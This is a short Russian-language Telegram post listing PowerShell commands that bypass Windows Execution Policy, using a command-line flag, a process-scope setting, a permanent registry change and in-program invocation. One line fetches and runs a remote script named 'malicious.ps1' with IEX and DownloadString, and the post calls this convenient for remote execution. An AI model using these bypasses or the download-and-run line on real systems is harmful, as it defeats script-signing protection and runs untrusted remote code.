PowerShell в Windows использует Execution Policy для защиты от запуска неподписанных или вредоносных скриптов. Однако часто возникает ситуация, когда необходимо обойти эти ограничения. Разберём популярные способы.
powershell -ExecutionPolicy Bypass -File script.ps1
Позволяет запустить скрипт без изменения системных настроек.
Set-ExecutionPolicy Unrestricted -Scope Process
powershell -Command "Start-Process notepad.exe"
Хорошо подходит для разового выполнения команд.
IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')
Удобно для удалённого выполнения команд.
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name ExecutionPolicy -Value Unrestricted
Даёт постоянный эффект.
System.Management.Automation.PowerShell.Create().AddScript("Start-Process calc.exe").Invoke();
Подходит для внедрения в программы.
#windows #scripts
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14